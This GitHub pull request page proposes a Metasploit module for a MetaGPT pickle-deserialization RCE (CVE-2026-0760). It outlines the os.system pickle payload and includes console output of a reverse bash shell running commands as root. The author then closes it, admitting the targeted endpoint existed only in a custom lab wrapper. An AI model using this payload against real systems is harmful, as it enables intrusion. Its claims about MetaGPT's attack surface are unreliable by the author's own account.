Skip to content

MetaGPT deserialize_message() Pickle Deserialization RCE (CVE-2026-0760)#21062

Closed
exploitintel wants to merge 2 commits intorapid7:masterfrom
exploitintel:add-metagpt-pickle-rce
Closed

MetaGPT deserialize_message() Pickle Deserialization RCE (CVE-2026-0760)#21062
exploitintel wants to merge 2 commits intorapid7:masterfrom
exploitintel:add-metagpt-pickle-rce

Conversation

@exploitintel
Copy link

Summary

  • MetaGPT v0.8.1 and prior call Python's pickle.loads() directly on attacker-supplied bytes in deserialize_message() at metagpt/utils/serialize.py:75 with no validation or restricted unpickler
  • A single unauthenticated POST /api/message/deserialize with a base64-encoded pickle payload executes arbitrary OS commands during deserialization via the __reduce__ protocol, before any application-level checks run
  • The vendor (Foundation Agents / DeepWisdom) did not respond to ZDI's responsible disclosure over a 3+ month period — this is an unpatched 0-day

Verification

Tested against MetaGPT v0.8.1 / Debian GNU/Linux 12 (bookworm) (Docker lab):

msf6 exploit(cve_2026_0760_metagpt_pickle_rce) > check
[+] 192.168.192.3:8080 - The target is vulnerable. MetaGPT health endpoint reports vulnerable=true.

msf6 exploit(cve_2026_0760_metagpt_pickle_rce) > run -z
[*] Started reverse TCP handler on 192.168.192.2:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. MetaGPT health endpoint reports vulnerable=true.
[*] Executing cmd/unix/reverse_bash (Unix Command)
[+] Payload delivered via MetaGPT deserialize_message() pickle.loads()
[*] Command shell session 1 opened (192.168.192.2:4444 -> 192.168.192.3:57734) at 2026-03-04 18:37:50 +0000
[*] Session 1 created in the background.

msf6 exploit(cve_2026_0760_metagpt_pickle_rce) > sessions -c "id && hostname && uname -a && cat /etc/os-release | head -3" -i 1
[*] Running 'id && hostname && uname -a && cat /etc/os-release | head -3' on shell session 1 (192.168.192.3)
uid=0(root) gid=0(root) groups=0(root)
cd941443db0b
Linux cd941443db0b 6.12.69-linuxkit #1 SMP Mon Feb 16 11:19:06 UTC 2026 aarch64 GNU/Linux
PRETTY_NAME="Debian GNU/Linux 12 (bookworm)"
NAME="Debian GNU/Linux"
VERSION_ID="12"

Module details

  • Affected versions: MetaGPT v0.8.1 and prior (no patch available)
  • Auth required: None
  • Pickle payload: Protocol 2, GLOBAL os.system + SHORT_BINUNICODE command + TUPLE1 + REDUCE, base64-encoded for HTTP transport
  • Targets: Unix Command (ARCH_CMD) + Linux Dropper (CmdStager x86/x64)
  • AutoCheck: Yes — queries /health endpoint for vulnerable=true flag
  • Rank: Excellent

References

MetaGPT v0.8.1 and prior pass attacker-supplied bytes directly to
pickle.loads() in deserialize_message() at metagpt/utils/serialize.py:75
with no validation or restricted unpickler. A single unauthenticated POST to
/api/message/deserialize with a base64-encoded pickle payload executes
arbitrary commands during deserialization, before any app-level checks run.
The vendor did not respond to ZDI's 3+ month responsible disclosure period.

Targets: Unix Command (ARCH_CMD) + Linux Dropper (CmdStager x86/x64)
Tested against MetaGPT v0.8.1 / Debian GNU/Linux 12 (bookworm)
@smcintyre-r7 smcintyre-r7 added module needs-docs rn-modules release notes for new or majorly enhanced modules labels Mar 4, 2026
@github-actions
Copy link

github-actions bot commented Mar 4, 2026

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

@exploitintel
Copy link
Author

Closing this PR. Same issue as #21068 — the module targets a custom Flask server (vuln_server.py) that wraps MetaGPT's deserialize_message() library function directly over HTTP. MetaGPT is a Python agent framework/library with no built-in HTTP API. The /api/message/deserialize endpoint and the health response with vulnerable=true only exist in our custom lab wrapper, not in any real MetaGPT deployment. Apologies for the noise.

@github-project-automation github-project-automation bot moved this from Todo to Done in Metasploit Kanban Mar 4, 2026
@exploitintel
Copy link
Author

Apologies for the wasted review time. The CVE itself is legitimate, but we made the mistake of targeting a custom Flask wrapper we built around deserialize_message() rather than an actual MetaGPT deployment — which ships no HTTP server at all. Lesson learned: demonstrating a vulnerability and exploiting it in practice are two different things.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

module needs-docs rn-modules release notes for new or majorly enhanced modules

Projects

Status: Done

Development

Successfully merging this pull request may close these issues.

2 participants